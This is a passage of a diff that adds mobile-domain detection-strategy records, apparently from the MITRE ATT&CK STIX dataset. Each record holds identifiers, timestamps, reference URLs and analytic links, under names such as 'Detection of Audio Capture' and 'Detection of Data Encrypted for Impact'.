"2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0667", + "external_id": "DET0667" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Asymmetric Cryptography", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1f3c9114-ac86-4c1f-bb64-fb94d65ac78c", + "x-mitre-analytic--4b4a369c-35aa-4389-a218-2034fb043041" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3e6673dc-e2c7-440e-b632-d25e3e9f92cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0673", + "external_id": "DET0673" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Audio Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d942e493-32eb-4302-890b-7729f63b7202", + "x-mitre-analytic--4623e949-e902-4a8c-893b-73e5ab4b57d5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1da26733-88c3-4cc8-8758-e2d65934f713", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0700", + "external_id": "DET0700" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Bidirectional Communication", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1f1d8e33-293a-4ceb-a91c-0cf71c6805ea", + "x-mitre-analytic--c08bd552-98fd-446d-b848-3c43b3b766f1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0677c510-fa4d-4a39-a14b-b91f9cde1e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0654", + "external_id": "DET0654" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Boot or Logon Initialization Scripts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e8bfbaf2-cfa8-41fd-a5ee-48b57026ac7c", + "x-mitre-analytic--007a370c-be77-49c9-9ca3-25d50de35864" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9c2fc530-8c91-458d-bb4e-6ec921ee2b85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0711", + "external_id": "DET0711" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Broadcast Receivers", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fbc0a210-8942-4fcb-81f1-a120551013d4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0cb492cd-7d01-46b2-b1f4-afddec10eaf2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0674", + "external_id": "DET0674" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Calendar Entries", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--38e2eb61-e650-4cdc-8f27-213b39499d34", + "x-mitre-analytic--abfa1de9-fcf5-44da-a910-f83273b60813" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0abd72c9-7d7f-4e8a-99d7-5ac2f791eb9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0703", + "external_id": "DET0703" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Call Control", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d2cf1cf2-7b11-4018-b5bc-fbd48633f869" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0a21ca34-ffa0-4b6f-b88c-9ffdb6a7c38f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0602", + "external_id": "DET0602" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Call Log", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9ed67778-6277-4e12-aa3e-29f39a81e67a", + "x-mitre-analytic--9cd8928d-a26d-42c0-8a23-0b10816c5d21" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7b0e17a4-df7c-4f4b-8b15-e8aac2236fc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0643", + "external_id": "DET0643" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Clipboard Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4b2e7e2d-e1be-4829-9011-53eb5eca3dc6", + "x-mitre-analytic--2f0ca83e-1318-4722-88b2-1bffedb5d127" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ab6215b7-19e0-4644-b340-40b6dcc90a48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0619", + "external_id": "DET0619" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Code Signing Policy Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--04fbc0f1-82f0-4311-9c39-6b519b48e7d8", + "x-mitre-analytic--8e20de5b-1b9c-4443-a095-bcdd52ed161e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--694c70ab-0518-432a-a149-a7b185ad814b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0655", + "external_id": "DET0655" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Command and Scripting Interpreter", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a4242809-30bc-4c00-b247-b6cc11644a07", + "x-mitre-analytic--77c81bf1-beef-429a-a426-a716b489383a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--113d83d6-e0a2-44af-955d-288bd4ef21c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0649", + "external_id": "DET0649" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Application Executable", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--75c4eac4-c61c-4d02-acd9-ec8f5b6cfaff" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7c7aa84d-8425-42cc-b0bc-5d384b04d99a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0712", + "external_id": "DET0712" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Client Software Binary", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fdb6acce-e069-4e35-8a4b-f4517924f092", + "x-mitre-analytic--98b0a8a6-881d-4f00-84c3-3f70d368067e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ef792e16-8b1c-452d-a3ae-1ad4b5577a4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0604", + "external_id": "DET0604" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Hardware Supply Chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9e2b0e14-eabd-4eb7-93b0-da238e3786db", + "x-mitre-analytic--53491f5a-7062-41f0-a51d-07b52dc8192c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c2133628-efa0-4bb0-9f9a-a475ec6a52e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0704", + "external_id": "DET0704" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Software Dependencies and Development Tools", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ffcee6e2-02dd-4053-92a3-8600dd70445e", + "x-mitre-analytic--7a209f60-7f43-407f-b5bd-7877e10222ee" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1098f1d3-7dfa-4dc0-b524-98af5588f6f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0721", + "external_id": "DET0721" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Compromise Software Supply Chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b95bc556-c98c-459e-9327-49830ce9c77c", + "x-mitre-analytic--c8eb9196-3134-4954-9331-838556db9aa1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--99db5782-6282-4626-901d-b57f8bb8a1f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0659", + "external_id": "DET0659" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Conceal Multimedia Files", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7247d454-c307-417a-90c7-a15452d0d83e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--03c7f8c1-0239-44a2-89e2-4cd6b47940ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0679", + "external_id": "DET0679" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Contact List", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e0ee0af8-96f8-4baf-b0f2-63d4b49938f2", + "x-mitre-analytic--6f77061e-d663-487d-bfca-cd1e1f1d24d7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b18a1df7-1b2b-4294-963a-e7c9b6489c34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0633", + "external_id": "DET0633" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Credentials from Password Store", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1a27d3ed-86e8-4389-927d-1d43d94dc719" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f181f7e1-f70c-4ab3-b8c5-5c0a08ea98d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0671", + "external_id": "DET0671" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Destruction", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--44d378d8-575b-41c8-b75c-375abcf3e2db" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--132ead25-5d93-4616-9847-a4c37d33d3e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0678", + "external_id": "DET0678" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Encrypted for Impact", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c37bba44-9ca2-4444-8ee9-7cab0b2fd5fd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6c1d15de-c055-4514-ac16-9cdd8e9b2764", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0660", + "external_id": "DET0660" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--332065d4-9895-485b-8674-756f4d3fab7c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a5942766-8bd2-4747-baaf-a5850f08f550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0713", + "external_id": "DET0713" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data from Local System", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--983ae9ea-a125-498a-862d-00d5bed2087a", + "x-mitre-analytic--b7b70725-f1d8-4fad-8fc4-fc1b9cbf77ef" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--83a0e3a2-5828-4707-84f5-eec67cf6b50e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0617", + "external_id": "DET0617" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Dead Drop Resolver", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8503331d-09f5-49d3-838c-f0d3b1d55e30", + "x-mitre-analytic--acc1bb20-bd46-4228-abba-f4befe82e926" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3f3f3518-90bb-44fc-8ef0-dbfab75b79cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0630", + "external_id": "DET0630" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Device Administrator Permissions", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6852479f-7c3d-4c69-82b9-b5b9976e4101" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3115adee-e3f8-498a-9bb2-47983e404ce8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0603", + "external_id": "DET0603" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Device Lockout", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a5c4230b-7064-4863-9a60-e0565042d452" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0d03e753-a278-4a32-a33f-6199967220de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0693", + "external_id": "DET0693" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Disable or Modify Tools", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--75eaee42-f7b5-4792-9611-74626bd98838" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0f41110f-099f-468f-af46-65d2a34f05d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0710", + "external_id": "DET0710" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Disguise Root/Jailbreak Indicators", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b6618b3a-370c-44af-86db-d4640799ed6e", + "x-mitre-analytic--0b0e244e-9386-4520-b030-9e330c6c1930" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bd3d39c3-e5d5-4ce7-9e1b-1b9598352dc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + 